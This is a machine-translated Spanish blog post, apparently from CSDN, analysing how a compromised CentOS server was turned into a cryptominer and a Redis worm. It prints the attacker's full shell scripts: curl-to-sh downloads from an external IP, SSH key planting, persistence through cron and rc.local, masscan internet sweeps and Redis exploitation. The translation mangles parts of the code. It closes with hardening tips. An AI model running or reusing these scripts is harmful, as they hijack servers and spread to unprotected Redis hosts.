Después de mucho tiempo, recuerde una invasión de Linux (pirateada) ...

Comunidad de combate de Python

Comunidad de combate de Java

Mantenga presionado para identificar el código QR a continuación, agregue según sea necesario

Escanee el código QR a seguir para agregar servicio al cliente

Ingrese a la comunidad de Python ▲

Escanee el código QR a seguir para agregar servicio al cliente

Ingrese a la comunidad Java

Fuente 丨 Programador de seguridad de red y programador de piratas informáticos

https://mp.weixin.qq.com/s/LPMoORacJyDYtE74-zrF1w

Fondo 0x00

Tan pronto como llegué a la oficina el lunes por la mañana, escuché a un colega decir que uno de los servidores no podía iniciar sesión. No me lo tomé en serio. Seguí desayunando y ver si el precio de la moneda bajaba de nuevo. Después de un rato, el compañero de operación y mantenimiento también llegó y dijo sin aliento: Uno de nuestros servidores fue congelado por Alibaba Cloud. Razón: subcontratación maliciosa. Dejé los bollos rellenos de chucrut, SSH conectado por un tiempo, fue rechazado y pedí que el puerto predeterminado 22 estuviera bloqueado. Le pedí al colega de operación y mantenimiento que cambiara el puerto, lo conecté inmediatamente y, por cierto, miré el nombre de inicio de sesión: root y la contraseña de Xiaobai con menos de 8 dígitos. Sentí frío: ¡Me piratearon!



0x01 Encuentra pistas

El sistema de servidor CentOS 6.X ha implementado nginx, tomcat, redis y otras aplicaciones. Primero, se realiza una copia de seguridad de la base de datos localmente y luego se verifica el comando superior. Hay dos procesos al 99% con el mismo nombre aún en ejecución, llamados gpg-agentd.


Fuente: Academia de nieve Hefe Kan

Busqué en Google gpg y el resultado fue:

El agente gpg proporcionado por GPG proporciona soporte para el protocolo SSH, que puede simplificar enormemente la administración de claves.

 

Parece un programa muy serio, pero observe detenidamente el proceso en el servidor seguido de una letra d, que está muy disfrazada, que recuerda a la gente varios virus que se parecen a svchost.exe en Windows. Continua

comando ps eho -p 23374

netstat -pan | grep 23374

Compruebe la ruta de inicio y el estado de la red del proceso pid: 23374, es decir, vaya al directorio de la Figura 1. Hasta ahora, se ha encontrado el archivo ejecutable binario que dejó el pirata informático. Hay dos preguntas esperándome a continuación:

1. ¿Cómo se carga el archivo?
2. ¿Cuál es el propósito de este archivo, o qué quiere hacer el hacker?

 

Mirando la historia, todos los registros fueron borrados, sin dejar rastros. Continuar ordenando más mensajes,


Vi que se instaló una gran cantidad de software en el servidor alrededor de las 12:00 en medio de la noche, varios de ellos me llamaron la atención, los hablaré en detalle a continuación. Adivina mientras buscamos, si hacemos algo malo, ¿dónde probablemente armaremos un escándalo y comenzaremos automáticamente? ¿Comienzo del tiempo? Sí, planifica la tarea.

crontab -e


Efectivamente, se encontró la pista.



0x02 Motivación

La tarea programada anterior significa descargar un script del servidor cada 15 minutos y ejecutar el script. Descarguemos el script y echemos un vistazo.

curl -fsSL 159.89.190.243/ash.php> ash.sh

El contenido del guión es el siguiente:

uname -a

carné de identidad

nombre de host

setenforce 0 2> / dev / null

ulimit -n 50000

ulimit -u 50000

crontab -r 2> / dev / null

rm -rf / var / spool / cron / * 2> / dev / null

mkdir -p / var / spool / cron / crontabs 2> / dev / null

mkdir -p /root/.ssh 2> / dev / null

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa / oKCWk0NNKmMza8YGLBiJsq / zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB / B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo / szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph / xBj8wGKpHFP0xMbSNdZ / cmLMZ5S14XFSVSjCzIa0 + xigBIrdgo2p5nBtrpYZ2 / GN3 + Thy + PNUqx redisX'> /root/.ssh/authorized_keys

echo '* / 15 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / spool / cron / root

echo '* / 20 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / spool / cron / crontabs / root

 

yum install -y bash 2> / dev / null

apt install -y bash 2> / dev / null

apt-get install -y bash 2> / dev / null

 

bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2> / dev / null

Analice aproximadamente el propósito principal del guión:

La primera es cerrar SELinux, eliminar las restricciones de acceso a los recursos de shell y luego generar la clave pública ssh en el archivo /root/.ssh/authorized_keys, de modo que cada vez que un hacker inicie sesión en este servidor, pueda iniciar sesión sin una contraseña. Será mucho más conveniente ejecutar scripts. Para consultar el artículo sobre claves ssh, consulte este artículo sobre el principio y la aplicación de SSH. A continuación, instale bash y, finalmente, continúe descargando el segundo script bsh.php y ejecútelo.

 

Continúe descargando y analizando bsh.pbp, el contenido es el siguiente:

dormir $ (seq 3 7 | ordenar -R | cabeza -n1)

cd / tmp || cd / var / tmp

dormir 1

mkdir -p .ICE-unix / ... && chmod -R 777 .ICE-unix && cd .ICE-unix / ...

dormir 1

if [-f .watch]; luego

rm -rf .watch

salir 0

ser

dormir 1

echo 1> .watch

dormir 1

ps x | awk '! / awk / && / redisscan | ebscan | redis-cli / {print $ 1}' | xargs kill -9 2> / dev / null

ps x | awk '! / awk / && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {imprimir $ 1}' | xargs kill -9 2> / dev / null

dormir 1

Si ! [-x / usr / bin / gpg-agentd]; luego

curl -s -o / usr / bin / gpg-agentd 159.89.190.243/dump.db

echo '/ usr / bin / gpg-agentd'> /etc/rc.local

echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local

echo 'salida 0' >> /etc/rc.local

ser

dormir 1

chmod + x / usr / bin / gpg-agentd && / usr / bin / gpg-agentd || rm -rf / usr / bin / gpg-agentd

dormir 1

Si ! [-x "$ (comando -v masscan)"]; luego

rm -rf / var / lib / apt / lists / *

rm -rf x1.tar.gz

if [-x "$ (comando -v apt-get)"]; luego

exportar DEBIAN_FRONTEND = no interactivo

apt-get update -y

apt-get install -y debconf-doc

apt-get install -y build-esencial

apt-get install -y libpcap0.8-dev libpcap0.8

apt-get install -y libpcap *

apt-get install -y crea gcc git

apt-get install -y servidor-redis

apt-get install -y redis-tools

apt-get install -y redis

apt-get install -y iptables

apt-get install -y wget curl

ser

if [-x "$ (comando -v yum)"]; luego

yum actualización -y

yum install -y epel-release

yum actualización -y

yum install -y git iptables hace gcc redis libpcap libpcap-devel

yum install -y wget curl

ser

dormir 1

curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz

dormir 1

[-f x1.tar.gz] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4

ser

dormir 3 && rm -rf .watch

bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2> / dev / null

El código de este script es relativamente largo, pero hay 4 funciones principales:

1. Descargue el código remoto al local, agregue permiso de ejecución, chmod u + x.
2. Modifique rc.local para permitir que el código local se ejecute automáticamente al arrancar.
3. Descargue el código del escáner de código abierto en github e instale el software dependiente relacionado, que es el registro que vi en los mensajes anteriores.
4. Descargue el tercer script y ejecútelo.

 

Fui a github y miré este código fuente abierto, y es terrible.

MASSCAN: escáner de puertos IP masivo.
Es el escáner de puertos de Internet más rápido. Puede escanear toda Internet en menos de 6 minutos,> transmitiendo 10 millones de paquetes por segundo.

Produce resultados similares a nmap, el escáner de puertos más famoso. Internamente, opera más como scanrand, unicornscan y ZMap, usando transmisión asíncrona. La principal diferencia es> que es más rápido que estos otros escáneres. Además, es más flexible, permitiendo rangos de direcciones y rangos de puertos arbitrarios.

NOTA: masscan utiliza una pila TCP / IP personalizada. Cualquier cosa que no sea un simple escaneo de puertos causará un conflicto con la pila TCP / IP local. Esto significa que debe usar la opción -S para usar una dirección IP separada o configurar su sistema operativo para que utilice un firewall en los puertos que usa masscan.

 

transmitiendo 10 millones de paquetes por segundo (transmitiendo 10 millones de paquetes por segundo), que es más rápido que nmap. No es difícil entender por qué Alibaba Cloud congela el servidor. Después de leer el archivo Léame, no entré en detalles. Descarga el tercer guión.

setenforce 0 2> / dev / null

ulimit -n 50000

ulimit -u 50000

dormir 1

iptables -I ENTRADA 1 -p tcp --dport 6379 -j DROP 2> / dev / null

iptables -I ENTRADA 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACEPTAR 2> / dev / null

dormir 1

rm -rf .dat .shard .ranges .lan 2> / dev / null

dormir 1

echo 'config set dbfilename "backup.db"'> .dat

echo 'guardar' >> .dat

echo 'flushall' >> .dat

echo 'establecer copia de seguridad1 "\ n \ n \ n * / 2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat

echo 'establecer copia de seguridad2 "\ n \ n \ n * / 3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat

echo 'establece backup3 "\ n \ n \ n * / 4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat

echo 'establecer copia de seguridad4 "\ n \ n \ n * / 5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat

echo 'config set dir "/ var / spool / cron /"' >> .dat

echo 'config set dbfilename "root"' >> .dat

echo 'guardar' >> .dat

echo 'config set dir "/ var / spool / cron / crontabs"' >> .dat

echo 'guardar' >> .dat

dormir 1

masscan --max-rate 10000 -p6379,6380 --shard $ (seq 1 22000 | sort -R | head -n1) / 22000 --exclude 255.255.255.255 0.0.0.0/0 2> / dev / null | awk '{imprimir $ 6, substr ($ 4, 1, longitud ($ 4) -4)}' | ordenar | uniq> .shard

dormir 1

while read -rhp; hacer

cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null &

hecho <.duro

dormir 1

masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2> / dev / null | awk '{imprimir $ 6, substr ($ 4, 1, longitud ($ 4) -4)}' | ordenar | uniq> .ranges

dormir 1

while read -rhp; hacer

cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null &

hecho <.ranges

dormir 1

ip a | grep -oE '([0-9] {1,3}.?) {4} / [0-9] {2}' 2> / dev / null | sed 's / \ / \ ([0-9] \ {2 \} \) / \ / 16 / g'> .inet

dormir 1

masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{imprimir $ 6, substr ($ 4, 1, longitud ($ 4) -4)}' | ordenar | uniq> .lan

dormir 1

while read -rhp; hacer

cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null &

hecho <.lan

dormir 60

rm -rf .dat .shard .ranges .lan 2> / dev / null

Si los dos primeros scripts solo descargan y ejecutan archivos binarios en el servidor, entonces este script realmente muestra el poder del virus. Analicemos este script a continuación.

No hay nada que decir sobre la modificación del entorno del sistema al principio. La siguiente operación de escritura de archivos es un poco familiar. Si ha utilizado redis, debería poder adivinar que esta es la configuración de redis. Escribir esta configuración naturalmente aprovecha la vulnerabilidad de redis para escribir contenido en caché en archivos locales. Como resultado, la clave privada local se utiliza para iniciar sesión en el servidor donde está escrita la clave pública. Puede iniciar sesión sin una contraseña, que es el comienzo de nuestro artículo. /Root/.ssh/authorized_keys. Después de iniciar sesión, la tarea programada se ejecutará con regularidad y se descargará el script. Bueno, el archivo de configuración está listo, y luego comience a usar masscan para escanear el servidor de redis a través de la red para encontrar pollos de engorde. Tenga en cuenta que 6379 es el puerto predeterminado del servidor de redis. Si su puerto de escucha de redis es la IP pública o 0.0.0.0 , Y no hay protección por contraseña, lo siento, será reclutado.



0x03 resumen

Al analizar estos tres scripts a su vez, podemos ver la parte terrible de este virus. Primero, obtenga el permiso de inicio de sesión escribiendo la clave pública ssh, luego descargue y ejecute el archivo binario remoto, y finalmente copie a través de la vulnerabilidad redis y se extienda rápidamente por la red. , Aumentando a una tasa exponencial. Entonces la pregunta es, ¿cómo fue capturado este servidor? Después de leer redis.conf, la dirección de enlace es 127.0.0.1, no hay problema. A partir de esto, se puede inferir que la cuenta de root debería ser crackeada por fuerza bruta. Para verificar mi idea, eché un vistazo a lastb, y resultó que hay muchos registros:


Queda una última pregunta, ¿qué hace este programa gpg-agentd? Mi primera reacción en ese momento fue la máquina minera, porque ahora la moneda digital está demasiado caliente, aumentando la demanda de máquinas mineras distribuidas, lo que dio origen a esta cadena industrial gris. Entonces, arrastré este gpg-agentd a ida, busqué bitcoin, eth, mine y otras palabras relacionadas con string, y finalmente encontré esto:


 

Abre nicehash.com y mira, todo está claro.



0x04 consejos de seguridad

1. Servidor

1. Desactive ROOT
2. Haga que el nombre de usuario y la contraseña sean lo más complejos posible
3. Modifique el puerto predeterminado 22 de ssh
4. Instale el software DenyHosts anti-fuerza bruta
5. Desactive el inicio de sesión con contraseña y use la clave pública RSA para iniciar sesión


Dos, redis

1. Deshabilite la supervisión de IP pública, incluida 0.0.0.0
2. Utilice una contraseña para restringir el acceso a redis
3. Utilice una cuenta de autoridad inferior para ejecutar redis

 

En este punto básicamente se ha analizado todo el proceso de intrusión, si te interesa la muestra también puedes ir a curl por tu cuenta o ir a la máquina virtual para ejecutar el script anterior. En vista de mi capacidad limitada, es inevitable que haya negligencia o errores en el artículo. Por favor corríjame.

程序员专栏 扫码关注填加客服 长按识别下方二维码进群

近期精彩内容推荐:   中美日印程序员收入对比 程序员 悲催的一天 SringMVC从入门到源码,这一篇就够 10个Python可视化动图,用心且精美


在看点这里好文分享给更多人↓↓

Supongo que te gusta

Origin blog.csdn.net/Px01Ih8/article/details/109233532
Recomendado
Clasificación